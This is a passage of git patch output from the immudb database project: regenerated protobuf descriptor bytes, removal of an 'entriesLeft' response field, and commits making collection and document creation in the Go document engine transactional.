0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, - 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, - 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, - 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, - 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, + 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, + 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, + 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, 0x0a, 0x10, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, - 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, - 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, - 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, - 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, - 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, - 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, - 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, - 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, - 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, + 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, + 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, + 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, + 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, + 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, + 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, + 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, + 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, + 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, + 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, + 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index def80355be..19637ad10f 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -105,7 +105,6 @@ message DocumentSearchResponse { repeated google.protobuf.Struct results = 1; uint32 page = 2; uint32 perPage = 3; - uint32 entriesLeft = 4; } message DocumentProofRequest { @@ -133,7 +132,6 @@ message DocumentAuditResponse { repeated DocumentAudit results = 1; uint32 page = 2; uint32 perPage = 3; - uint32 entriesLeft = 4; } message DocumentAudit { diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index cd6fdf2681..4c6be1cb4e 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -473,10 +473,6 @@ "perPage": { "type": "integer", "format": "int64" - }, - "entriesLeft": { - "type": "integer", - "format": "int64" } } }, @@ -593,10 +589,6 @@ "perPage": { "type": "integer", "format": "int64" - }, - "entriesLeft": { - "type": "integer", - "format": "int64" } } }, From cbd951eb2c440866fa897bab0fe1efdad788c205 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 12 Apr 2023 11:04:47 -0300 Subject: [PATCH 0416/1062] chore(embedded/document): transactional document creation Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index d7044c0fa6..6ca2735ea4 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -197,7 +197,7 @@ func (e *Engine) CreateCollection(ctx context.Context, collectionName string, id } func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (docID DocumentID, txID uint64, err error) { - tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) if err != nil { return NilDocumentID, 0, err } @@ -261,7 +261,7 @@ func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc // add document to collection _, ctxs, err := e.sqlEngine.ExecPreparedStmts( ctx, - nil, + tx, []sql.SQLStmt{ sql.NewUpserIntoStmt( collectionName, From df7796458974c25222140adcc402144d389e40e2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 12 Apr 2023 12:24:52 -0300 Subject: [PATCH 0417/1062] chore(embedded/document): transactional collection and document creation Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 64 ++++++++++++++++++++++++++----------- embedded/sql/stmt.go | 20 ++++++------ embedded/store/immustore.go | 7 ++++ 3 files changed, 63 insertions(+), 28 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 6ca2735ea4..45456850a1 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -19,6 +19,7 @@ import ( "bytes" "context" "encoding/binary" + "errors" "fmt" "github.com/codenotary/immudb/embedded/sql" @@ -31,6 +32,8 @@ const ( DocumentBLOBField = "_doc" ) +var ErrCollectionDoesNotExist = errors.New("collection does not exist") + // Schema to ValueType mapping var ( // ValueType to ValueExp conversion @@ -160,10 +163,16 @@ func (e *Engine) CreateCollection(ctx context.Context, collectionName string, id columns = append(columns, sql.NewColSpec(name, schType, colLen, false, false)) } + tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExplicitClose(true)) + if err != nil { + return err + } + defer tx.Cancel() + // add columns to collection - _, _, err := e.sqlEngine.ExecPreparedStmts( - context.Background(), - nil, + _, _, err = e.sqlEngine.ExecPreparedStmts( + ctx, + tx, []sql.SQLStmt{sql.NewCreateTableStmt( collectionName, false, @@ -183,8 +192,8 @@ func (e *Engine) CreateCollection(ctx context.Context, collectionName string, id sqlStmts = append(sqlStmts, sql.NewCreateIndexStmt(collectionName, []string{idx})) } _, _, err = e.sqlEngine.ExecPreparedStmts( - context.Background(), - nil, + ctx, + tx, sqlStmts, nil, ) @@ -193,19 +202,46 @@ func (e *Engine) CreateCollection(ctx context.Context, collectionName string, id } } - return nil + return tx.Commit(ctx) } func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (docID DocumentID, txID uint64, err error) { - tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) + // check if document id is already present + provisionedDocID, docIDProvisioned := doc.Fields[DocumentIDField] + if docIDProvisioned { + docID, err = DocumentIDFromHex(provisionedDocID.GetStringValue()) + if err != nil { + return NilDocumentID, 0, err + } + } else { + // generate document id + docID = NewDocumentIDFromTx(e.sqlEngine.GetStore().LastPrecommittedTxID()) + doc.Fields[DocumentIDField] = structpb.NewStringValue(docID.Hex()) + } + + opts := sql.DefaultTxOptions(). + WithUnsafeMVCC(true). + WithSnapshotRenewalPeriod(0) + + // concurrency validation are not needed when the document id is automatically generated + if !docIDProvisioned { + // wait for indexing to include latest catalog changes + opts.WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { + return e.sqlEngine.GetStore().MandatoryMVCCUpToTxID() + }) + } + + tx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { return NilDocumentID, 0, err } defer tx.Cancel() - // check if collection exists table, err := tx.Catalog().GetTableByName(collectionName) if err != nil { + if errors.Is(err, sql.ErrTableDoesNotExist) { + return NilDocumentID, 0, ErrCollectionDoesNotExist + } return NilDocumentID, 0, err } @@ -217,17 +253,8 @@ func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc cols = append(cols, col.Name()) } - // check if document id is already present - _, ok := doc.Fields[DocumentIDField] - if ok { - return NilDocumentID, 0, fmt.Errorf("_id field is not allowed to be set") - } - - // generate document id - lastPrecommittedTxID := e.sqlEngine.GetStore().LastPrecommittedTxID() - docID = NewDocumentIDFromTx(lastPrecommittedTxID) - values := make([]sql.ValueExp, 0) + for _, col := range tcolumns { switch col.Name() { case DocumentIDField: @@ -267,6 +294,7 @@ func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc collectionName, cols, rows, + true, nil, ), }, diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index d6577056f6..07f604593a 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -505,9 +505,9 @@ func (stmt *RenameColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[ return tx, nil } -func NewUpserIntoStmt(table string, cols 